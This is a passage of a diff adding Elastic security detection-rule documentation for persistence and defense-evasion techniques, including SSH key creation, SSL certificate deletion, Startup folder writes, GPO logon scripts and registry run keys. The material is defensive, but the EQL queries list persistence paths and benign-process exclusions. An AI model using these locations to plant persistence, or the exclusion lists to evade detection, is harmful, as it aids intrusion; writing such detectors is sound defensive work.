Movement +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SSH Key Generated via ssh-keygen* + + +SSH keys, created using the ssh-keygen tool, are essential for secure authentication in Linux environments. While typically used for legitimate access to remote systems, adversaries can exploit this by generating unauthorized keys, enabling lateral movement or persistence. The detection rule identifies suspicious key creation by monitoring specific directories and actions, helping to flag potential misuse by threat actors. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path and name where the SSH key was created, focusing on directories like "/home/*/.ssh/*", "/root/.ssh/*", and "/etc/ssh/*". +- Check the user account associated with the SSH key creation event to determine if the action aligns with expected behavior for that user. +- Investigate the process execution context by examining the process tree and parent processes of "/usr/bin/ssh-keygen" to identify any potentially suspicious activity leading to the key generation. +- Analyze recent login and access logs for the user and system involved to detect any unusual or unauthorized access patterns. +- Correlate the event with other security alerts or logs to identify if there are signs of lateral movement or persistence tactics being employed by a threat actor. +- Verify the legitimacy of the SSH key by consulting with the system owner or user to confirm if the key creation was authorized and necessary. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when system administrators generate SSH keys for legitimate purposes. To manage this, create exceptions for specific user accounts or directories known to be used by trusted administrators. +- Automated scripts or configuration management tools that regularly generate SSH keys for system provisioning or maintenance can cause false positives. Identify these scripts and exclude their associated processes or file paths from the rule. +- Development environments where developers frequently create SSH keys for testing or deployment purposes might be flagged. Consider excluding directories or user accounts associated with these environments to reduce noise. +- Backup or recovery processes that involve SSH key generation can also trigger alerts. Review these processes and exclude relevant file paths or processes to prevent unnecessary alerts. +- Security tools or monitoring solutions that simulate SSH key generation for testing or validation purposes may be mistakenly flagged. Identify these tools and add exceptions for their activities to avoid false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Revoke any unauthorized SSH keys found in the monitored directories (/home/*/.ssh/*, /root/.ssh/*, /etc/ssh/*) to cut off access for threat actors. +- Conduct a thorough review of user accounts and SSH key pairs on the affected system to identify and remove any unauthorized accounts or keys. +- Reset passwords and regenerate SSH keys for legitimate users to ensure that compromised credentials are not reused. +- Monitor network traffic and system logs for any signs of further unauthorized access attempts or suspicious activity related to SSH. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach. +- Implement additional monitoring and alerting for SSH key generation activities across the network to enhance detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("creation", "file_create_event") and +process.executable == "/usr/bin/ssh-keygen" and file.path : ("/home/*/.ssh/*", "/root/.ssh/*", "/etc/ssh/*") and +not file.name : "known_hosts.*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssl-certificate-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssl-certificate-deletion.asciidoc new file mode 100644 index 0000000000..19ed3e8065 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssl-certificate-deletion.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-ssl-certificate-deletion]] +=== SSL Certificate Deletion + +This rule detects the deletion of SSL certificates on a Linux system. Adversaries may delete SSL certificates to subvert trust controls and negatively impact the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Impact +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SSL Certificate Deletion* + +SSL certificates are crucial for establishing secure communications in Linux environments. Adversaries may delete these certificates to undermine trust and disrupt system operations, often as part of defense evasion tactics. The detection rule identifies suspicious deletions by monitoring specific directories for certificate files, excluding benign processes, thus highlighting potential malicious activity. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file path and extension of the deleted SSL certificate, ensuring it matches the pattern "/etc/ssl/certs/*" with extensions "pem" or "crt". +- Identify the process responsible for the deletion by examining the process name and compare it against the exclusion list (e.g., "dockerd", "pacman") to determine if the process is potentially malicious. +- Investigate the user account associated with the process that performed the deletion to assess if the account has a history of suspicious activity or unauthorized access. +- Check system logs and audit trails around the time of the deletion event to identify any related activities or anomalies that could indicate a broader attack or compromise. +- Assess the impact of the certificate deletion on system operations and security, including any disruptions to secure communications or trust relationships. +- If the deletion is deemed suspicious, consider restoring the deleted certificate from backups and implementing additional monitoring to detect further unauthorized deletions. + + +*False positive analysis* + + +- Routine system updates or package installations may trigger certificate deletions. Exclude processes like package managers or update services that are known to perform these actions. +- Automated certificate renewal services might delete old certificates as part of their renewal process. Identify and exclude these services to prevent false alerts. +- Custom scripts or maintenance tasks that manage SSL certificates could be flagged. Review and whitelist these scripts if they are verified as non-malicious. +- Backup or cleanup operations that involve certificate files might cause false positives. Ensure these operations are recognized and excluded from monitoring. +- Development or testing environments where certificates are frequently added and removed can generate alerts. Consider excluding these environments if they are isolated and secure. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or damage. +- Verify the deletion of SSL certificates by checking the specified directories and confirm the absence of expected certificate files. +- Restore deleted SSL certificates from a secure backup to re-establish secure communications and trust controls. +- Conduct a thorough review of system logs and process activity to identify the source of the deletion and any associated malicious activity. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring on the affected system and similar environments to detect any further unauthorized deletions or related suspicious activities. +- Review and update access controls and permissions to ensure only authorized processes and users can modify or delete SSL certificates. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "deletion" and process.executable != null and +file.path : "/etc/ssl/certs/*" and file.extension in ("pem", "crt") and +not ( + process.name in ("dockerd", "pacman") or + process.executable in ( + "/kaniko/executor", "/usr/sbin/update-ca-certificates", "/usr/bin/gnurm", "/usr/bin/podman", + "/usr/local/bin/executor", "/opt/kaniko/executor", "/.envbuilder/bin/envbuilder", "/opt/kaspersky/kesl/libexec/kesl" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-startup-folder-persistence-via-unsigned-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-startup-folder-persistence-via-unsigned-process.asciidoc new file mode 100644 index 0000000000..09258ff9c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-startup-folder-persistence-via-unsigned-process.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-startup-folder-persistence-via-unsigned-process]] +=== Startup Folder Persistence via Unsigned Process + +Identifies files written or modified in the startup folder by unsigned processes. Adversaries may abuse this technique to maintain persistence in an environment. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Startup Folder Persistence via Unsigned Process* + + +The Windows Startup folder is a special folder in Windows. Programs added to this folder are executed during account logon, without user interaction, providing an excellent way for attackers to maintain persistence. + +This rule looks for unsigned processes writing to the Startup folder locations. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- There is a high possibility of benign legitimate programs being added to Startup folders. This activity could be based on new software installations, patches, or any kind of network administrator related activity. Before undertaking further investigation, verify that this activity is not benign. + + +*Related rules* + + +- Suspicious Startup Shell Folder Modification - c8b150f0-0164-475b-a75e-74b47800a9ff +- Persistent Scripts in the Startup Directory - f7c4dc5a-a58d-491d-9f14-9b66507121c0 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=5s + [process where host.os.type == "windows" and event.type == "start" and process.code_signature.trusted == false and + /* suspicious paths can be added here */ + process.executable : ("C:\\Users\\*.exe", + "C:\\ProgramData\\*.exe", + "C:\\Windows\\Temp\\*.exe", + "C:\\Windows\\Tasks\\*.exe", + "C:\\Intel\\*.exe", + "C:\\PerfLogs\\*.exe") + ] + [file where host.os.type == "windows" and event.type != "deletion" and user.domain != "NT AUTHORITY" and + file.path : ("C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", + "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\*") + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Invalid Code Signature +** ID: T1036.001 +** Reference URL: https://attack.mitre.org/techniques/T1036/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-startup-logon-script-added-to-group-policy-object.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-startup-logon-script-added-to-group-policy-object.asciidoc new file mode 100644 index 0000000000..9cc3ffdd64 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-startup-logon-script-added-to-group-policy-object.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-startup-logon-script-added-to-group-policy-object]] +=== Startup/Logon Script added to Group Policy Object + +Detects the modification of Group Policy Objects (GPO) to add a startup/logon script to users or computer objects. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0025_windows_audit_directory_service_changes.md +* https://github.com/atc-project/atc-data/blob/f2bbb51ecf68e2c9f488e3c70dcdd3df51d2a46b/docs/Logging_Policies/LP_0029_windows_audit_detailed_file_share.md +* https://labs.f-secure.com/tools/sharpgpoabuse + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Startup/Logon Script added to Group Policy Object* + + +Group Policy Objects (GPOs) can be used by attackers to instruct arbitrarily large groups of clients to execute specified commands at startup, logon, shutdown, and logoff. This is done by creating or modifying the `scripts.ini` or `psscripts.ini` files. The scripts are stored in the following paths: + - `\Machine\Scripts\` + - `\User\Scripts\` + + +*Possible investigation steps* + + +- This attack abuses a legitimate mechanism of Active Directory, so it is important to determine whether the activity is legitimate and the administrator is authorized to perform this operation. +- Retrieve the contents of the `ScheduledTasks.xml` file, and check the `` and `` XML tags for any potentially malicious commands or binaries. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Scope which objects may be compromised by retrieving information about which objects are controlled by the GPO. + + +*False positive analysis* + + +- Verify if the execution is legitimately authorized and executed under a change management process. + + +*Related rules* + + +- Group Policy Abuse for Privilege Addition - b9554892-5e0e-424b-83a0-5aef95aa43bf +- Scheduled Task Execution at Scale via GPO - 15a8ba77-1c13-4274-88fe-6bd14133861e + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- The investigation and containment must be performed in every computer controlled by the GPO, where necessary. +- Remove the script from the GPO. +- Check if other GPOs have suspicious scripts attached. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: +- https://ela.st/audit-directory-service-changes[Audit Directory Service Changes] +- https://ela.st/audit-detailed-file-share[Audit Detailed File Share] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code in ("5136", "5145") and +( + ( + winlog.event_data.AttributeLDAPDisplayName : ( + "gPCMachineExtensionNames", + "gPCUserExtensionNames" + ) and + winlog.event_data.AttributeValue : "*42B5FAAE-6536-11D2-AE5A-0000F87571E3*" and + winlog.event_data.AttributeValue : ( + "*40B66650-4972-11D1-A7CA-0000F87571E3*", + "*40B6664F-4972-11D1-A7CA-0000F87571E3*" + ) + ) or + ( + winlog.event_data.ShareName : "\\\\*\\SYSVOL" and + winlog.event_data.RelativeTargetName : ("*\\scripts.ini", "*\\psscripts.ini") and + winlog.event_data.AccessList:"*%%4417*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Group Policy Modification +** ID: T1484.001 +** Reference URL: https://attack.mitre.org/techniques/T1484/001/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-startup-or-run-key-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-startup-or-run-key-registry-modification.asciidoc new file mode 100644 index 0000000000..8101cbd727 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-startup-or-run-key-registry-modification.asciidoc @@ -0,0 +1,212 @@ +[[prebuilt-rule-8-19-34-startup-or-run-key-registry-modification]] +=== Startup or Run Key Registry Modification + +Identifies run key or startup key registry modifications. In order to survive reboots and other system interrupts, attackers will modify run keys within the registry or leverage startup folder items as a form of persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 121 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Startup or Run Key Registry Modification* + + +Adversaries may achieve persistence by referencing a program with a registry run key. Adding an entry to the run keys in the registry will cause the program referenced to be executed when a user logs in. These programs will executed under the context of the user and will have the account's permissions. This rule looks for this behavior by monitoring a range of registry run keys. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- There is a high possibility of benign legitimate programs being added to registry run keys. This activity could be based on new software installations, patches, or any kind of network administrator related activity. Before undertaking further investigation, verify that this activity is not benign. + + +*Related rules* + + +- Suspicious Startup Shell Folder Modification - c8b150f0-0164-475b-a75e-74b47800a9ff +- Persistent Scripts in the Startup Directory - f7c4dc5a-a58d-491d-9f14-9b66507121c0 +- Startup Folder Persistence via Unsigned Process - 2fba96c0-ade5-4bce-b92f-a5df2509da3f +- Startup Persistence by a Suspicious Process - 440e2db4-bc7f-4c96-a068-65b78da59bde + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings != null and registry.hive : ("HKEY_USERS", "HKLM") and + registry.path : ( + /* Machine Hive */ + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*", + /* Users Hive */ + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*" + ) and + /* add common legitimate changes without being too restrictive as this is one of the most abused AESPs */ + not registry.data.strings : "ctfmon.exe /n" and + not (registry.value : "Application Restart #*" and process.name : "csrss.exe") and + not user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + not registry.data.strings : ("*:\\Program Files\\*", + "*:\\Program Files (x86)\\*", + "*:\\Users\\*\\AppData\\Local\\*", + "* --processStart *", + "* --process-start-args *", + "ms-teamsupdate.exe -UninstallT20", + " ", + "grpconv -o", "* /burn.runonce*", "* /startup", + "?:\\WINDOWS\\SysWOW64\\Macromed\\Flash\\FlashUtil32_*_Plugin.exe -update plugin") and + not process.executable : ("?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\SysWOW64\\msiexec.exe", + "D:\\*", + "\\Device\\Mup*", + "C:\\Windows\\SysWOW64\\reg.exe", + "C:\\Windows\\System32\\changepk.exe", + "C:\\Windows\\System32\\netsh.exe", + 